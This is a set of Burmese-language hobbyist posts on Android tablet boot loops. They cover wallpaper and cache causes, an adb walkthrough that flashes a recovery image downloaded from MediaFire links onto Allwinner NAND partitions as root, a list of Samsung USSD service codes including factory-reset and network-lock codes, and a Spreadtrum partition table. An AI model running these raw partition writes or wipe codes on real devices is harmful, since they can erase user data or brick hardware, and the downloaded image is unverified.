အဲဒီ့အခ်က္ႏွစ္ခ်က္အရ user တစ္ေယာက္ဟာ Tablet ရဲ႔ background ကိုေျပာင္းလိုက္သည္ျဖစ္ေစ၊ lock background ကိုေျပာင္းလိုက္သည္ျဖစ္ေစ... အဲဒီ့ပံုဟာ မူယင္ Firmware ထဲကပံုလို ေနရာယူၿပီးသားမဟုတ္တဲ့အတြက္ cache ထဲကို ယာယီပို႕ေပးလိုက္တယ္... ၿပီးမွ အဲဒီ့ပုံကို Picture->RAM Cache->CPU Cache->Process ဆိုတဲ့ပံုစံနဲ႔သြားတယ္ဆိုေတာ့...
Cache မေကာင္းတဲ့ တစ္နည္းအားျဖင့္ Cache မႏိုင္တဲ့အတြက္ ေနာက္တစ္နည္း Cache ကေန လက္ခံႏိုင္စြမ္းထက္ပိုေနတဲ့ ပံုေတြဆိုရင္... ေျပာင္းလဲစဥ္မွာေတာ့ ဘာမွ ျဖစ္မလာေသးဘဲ restart လုပ္လိုက္တဲ့အခါမွာ အဲဒီ့ပံုကို ဆြဲတင္ဖို႕ ေနရာမေလာက္ေတာ့တာေၾကာင့္ ဆြဲတင္လိုက္ ျပန္ျပဳတ္က်သြားလိုက္ျဖစ္ေနပါေတာ့တယ္...
process ကေတာ့ ပံုေျပာင္းလိုက္တာနဲ႔ အရင္ဆံုး sdcard ထဲက ပံုကို build.proc မွာ ref လုပ္ေပးထားတယ္... အဲဒီ့အခါ စက္ကို restart လုပ္တဲ့အခါမွာ အရင္ဆံုး default.prop ကိုဖတ္တယ္... ၿပီးေတာ့ built.proc ကိုဖတ္ၿပီး အဲဒီ့ထဲက ref ေတြအတိုင္းဘဲ display လုပ္တယ္... အဲဒီ့ေနရာမွာ background wallpaper တို႕ lock wallpaper တို႕ကို မူလ firmware ထဲကမဟုတ္ရင္ ram ေပၚမွာ ဆြဲတင္ရတယ္... ၿပီးမွ cpu က အလုပ္လုပ္ၿပီး ေနရာခ်တယ္... အဲဒီ့အခါ ram ေပၚဆြဲတင္ရင္း ram ရဲ႔ cache မွာ ေနရာမေလာက္ေတာ့တဲ့အခါ ျပႆနာတတ္ေတာ့တာဘဲ... ram ရဲ႔ cache မွာ သြင္းထားတဲ့ app ေတြရဲ႔ လင့္ေတြလည္းရွိတယ္...
ဒီျပႆနာကို ဘယ္လိုေျဖရွင္းမလည္း... အလြယ္ဆံုးနည္းကေတာ့ build.prop ကို၀င္ျပင္တာ အလြယ္ဆံုးဘဲ... ဒါမဲ့ အဲဒါက မေသခ်ာတဲ့နည္းတစ္ခုပါ... ဘာလို႕လည္းဆိုေတာ့ cache မွာ ေနရာယူထားတာေတြက တစ္ခါတစ္ေလ စက္ပိတ္လိုက္ေပမဲ့ ေပ်ာက္မသြားတတ္ဘူး... အဆိုးဆံုးကေတာ့ JVM လို႕ေခၚတဲ့ java virtual machine တစ္ခုျဖစ္တဲ့ dalvik ရဲ႔ cache မွာသိမ္းထားတာေတြက မပ်က္သြားပါဘူး... ဒီေတာ့ ဆြဲတင္စရာ လင့္မရွိေတာ့ေပမဲ့ ေနရာမေလာက္တဲ့ ျပႆနာေၾကာင့္ မရတာမ်ဳိးျဖစ္တတ္ပါတယ္... အဲဒီ့အခါမွာ အထိေရာက္ဆံုးကေတာ့ recovery mode ကေန၀င္ၿပီး wipe cache partition ကိုလုပ္ဖို႕ပါဘဲ...
တစ္ခါတည္းနဲ႔ ကိစၥျပတ္ၿပီးခ်င္ရင္ေတာ့ factory restore ေပါ့... factory restore မလုပ္ခင္မွာ wipe cache ကိုေတာ့ လုပ္ဖို႕မေမ့ပါနဲ႔...
ေျပာလို႕သာေျပာရတယ္ allwinner chipset သံုးတဲ့ android rom ေတြမွာ recovery partition ကို deactivate လုပ္ထားတာမ်ားတယ္... အဲဒါကိုေတာ့ အရင္ဖြင့္ရင္ဖြင့္ မဖြင့္ခ်င္ရင္ cwm ေလးတင္းေပးၿပီးမွ လုပ္လို႕ရပါတယ္ဆိုတဲ့အေၾကာင္း သတင္းေကာင္းပါးရင္း....
ေလ့လာေတြ႔ရွိမွဳ႔ကို သတိျပဳစရာအျဖစ္ တင္ျပလိုက္ရေၾကာင္းပါခင္ဗ်ာ...

Boot Looping ျဖစ္ေနတဲ့ Tablet ကို ကြန္ပ်ဴတာမွာ ဒီတတ္သိတယ္ဆိုရင္

Boot Looping ျဖစ္ေနတဲ့ Tablet ကို ကြန္ပ်ဴတာမွာ ဒီတတ္သိတယ္ဆိုရင္ -
(၁) အရင္ဆံုး cpu ဘာအမ်ဳိးအစားလည္းအရင္ၾကည့္ဖို႕အတြက္
- adb shell "cat /proc/cpuinfo"
(၂) အဲလိုၾကည့္ၿပီးတဲ့အခါ cpu က A10 ျဖစ္ေနရင္ ဒီဟာကိုေဒါင္း
- http://www.mediafire.com/?3pzu1r49zpf6sp9
(၃) CPU က A13 ျဖစ္ေနရင္ ဒီဟာကိုေဒါင္း
- http://www.mediafire.com/view/?ju47s14jv1l30yr
(၄) ေဒါင္းၿပီးၿပီဆိုရင္ ျဖည္လုိက္တဲ့အခါ recovery.img ဆိုတာရမယ္... A10 အတြက္ကေတာ့ ျဖည္စရာမလိုဘူး...
(၅) အဲဒီ့ ရလာတဲ့ recovery.img ကို storage ကိုပို႕ရမယ္...
- adb push recovery.img /mnt/sdcrard
(၆) ၿပီးရင္ လက္ရွိ firmware ကို ဘက္ကပ္ယူရမယ္... အဲဒီ့အတြက္
- adb shell
- su
- mkdir /sdcard/dump
- cat /dev/block/nandc > /sdcard/dump/boot.img
- cat /dev/block/nanda > /sdcard/dump/bootloader.img
- cat /dev/block/nandg > /sdcard/dump/recovery.img
- busybox tar -cvf /sdcard/dump/d2_system.tar /system
(၇) အေပၚကအဆင့္ေတြၿပီးသြားရင္ ဘက္ကပ္ယူထားတာေတြကို ကြန္ပ်ဴတာထဲဆြဲယူ
- adb pull /mnt/sdcard/dump/*
(၈) recovery သြင္းမယ္...
- adb shell
- su
- cat /mnt/sdcard/recovery.img > /dev/block/nandg
(၉) ၿပီးရင္ ရီကာဗာရီ reboot လုပ္ရမယ္...
- adb shell
- su
- echo -n boot-recovery | busybox dd of=/dev/block/nandf count=1 conv=sync; sync; reboot
ျပန္တတ္လာတဲ့အခါမွာ cwm recovery နဲ႔တတ္လာမယ္... အဲဒီ့အခါမွာမွ wise data လုပ္ၿပီး factory reset လုပ္လိုက္.. ျပန္တတ္လာလိမ့္မယ္...
အခုသြင္းတဲ့ recovery က ေနာက္တစ္ႀကိမ္ ျပန္ေခၚခ်င္ရင္
- adb shell
- su
- echo -n boot-recovery | busybox dd of=/dev/block/nandf count=1 conv=sync; sync; reboot
အဲလိုမွ ရမယ္... ဘာလို႕လည္းဆိုေတာ့ recovery ကို active ယာယီလုပ္ထားလို႕ဘဲ...
(MARG)
(*** download ဖိုင္ေတြမွာ ဘာ password မွ ခံမထားပါဘူး... ေစတနာ ယတိျပတ္နဲ႔ ေပးတာပါ... ***)

ဆမ္ေဆာင္း ဟမ္းဆက္အခ်ဳိ႔ေတြမွာ သံုးႏုိင္တဲ့ အေရးႀကီး ussd code ေတြပါ

Information
*#44336# Software Version Info
*#1234# View SW Version PDA, CSC, MODEM
*#12580*369# SW & HW Info
*#197328640# Service Mode
*#06# = IMEI Number.
*#1234# = Firmware Version.
*#2222# = H/W Version.
*#8999*8376263# = All Versions Together.
*#272*imei#* Product code
*#*#3264#*#*- RAM version
*#92782# = Phone Model
*#*#9999#*#*= Phone/pda/csc info

Testing
*#07# Test History
*#232339# WLAN Test Mode
*#232331# Bluetooth Test Mode
*#*#232331#*#*- Bluetooth test
*#0842# Vibration Motor Test Mode
*#0782# Real Time Clock Test
*#0228# ADC Reading
*#32489# (Ciphering Info)
*#232337# Bluetooth Address
*#0673# Audio Test Mode
*#0*# General Test Mode
*#3214789650# LBS Test Mode
*#0289# Melody Test Mode
*#0589# Light Sensor Test Mode
*#0588# Proximity Sensor Test Mode
*#7353# Quick Test Menu
*#8999*8378# = Test Menu.
*#*#0588#*#*- Proximity sensor test
*#*#2664#*#*- Touch screen test
*#*#0842#*#*- Vibration test*
Network
*7465625*638*# Configure Network Lock MCC/MNC
#7465625*638*# Insert Network Lock Keycode
*7465625*782*# Configure Network Lock NSP
#7465625*782*# Insert Partitial Network Lock Keycode
*7465625*77*# Insert Network Lock Keycode SP
#7465625*77*# Insert Operator Lock Keycode
*7465625*27*# Insert Network Lock Keycode NSP/CP
#7465625*27*# Insert Content Provider Keycode
*#7465625# View Phone Lock Status
*#232338# WLAN MAC Address
*#526# WLAN Engineering Mode -runs wlan tests (same as below)
*#528# WLAN Engineering Mode
*#2263# RF Band Selection-not sure about this one appears to be locked
*#301279# HSDPA/HSUPA Control Menu---change HSDPA classes (opt. 1-5)
Tools/Misc.
*#*#1111#*#*- Service Mode
#273283*255*663282*# Data Create SD Card
*#4777*8665# = GPSR Tool.
*#4238378# GCF Configuration
*#1575# GPS Control Menu
*#9090# Diagnostic Configuration
*#7284# USB I2C Mode Control—mount to usb for storage/modem
*#872564# USB Logging Control
*#9900# System dump mode- can dump logs for debugging
*#34971539# Camera Firmware Update
*#7412365# Camera Firmware Menu
*#273283*255*3282*# Data Create Menu- change sms, mms, voice, contact limits
*2767*4387264636# Sellout SMS / PCODE view
*#3282*727336*# Data Usage Status
*#*#8255#*#*- Show GTalk service monitor-great source of info
*#3214789# GCF Mode Status
*#0283# Audio Loopback Control
#7594# Remap Shutdown to End Call TSK
*#272886# Auto Answer Selection
****SYSTEM***
USE CAUTION
*#7780# Factory Reset
*2767*3855# Full Factory Reset
*#*#7780#*#* Factory data reset
*#745# RIL Dump Menu
*#746# Debug Dump Menu
*#9900# System Dump Mode
*#8736364# OTA Update Menu
*#2663# TSP / TSK firmware update
*#03# NAND Flash S/N

spreadtrum cpu သံုးတဲ့ rom ေတြရဲ႔ partition စနစ္ဖြဲ႕စည္းပံုပါ

spreadtrum cpu သံုးတဲ့ rom ေတြရဲ႔ partition စနစ္ဖြဲ႕စည္းပံုပါ..
root အတြက္ partition ေတြကို remount ဖို႕အတြက္ အသံုးတည့္ပါတယ္
/dev/block/mtdblock11 /system yaffs2 ro,relatime 0 0
/dev/block/mtdblock12 /data yaffs2 rw,nosuid,nodev,relatime 0 0
/dev/block/mtdblock13 /cache yaffs2 rw,nosuid,nodev,relatime 0 0
/dev/block/mtdblock8 /runtimenv yaffs2 rw,nosuid,nodev,relatime 0 0
/dev/block/mtdblock6 /backupfixnv yaffs2 rw,nosuid,nodev,relatime 0 0
/dev/block/mtdblock17 /productinfo yaffs2 rw,nosuid,nodev,relatime 0 0
/dev/block/mtdblock5 /fixnv yaffs2 rw,nosuid,nodev,relatime 0 0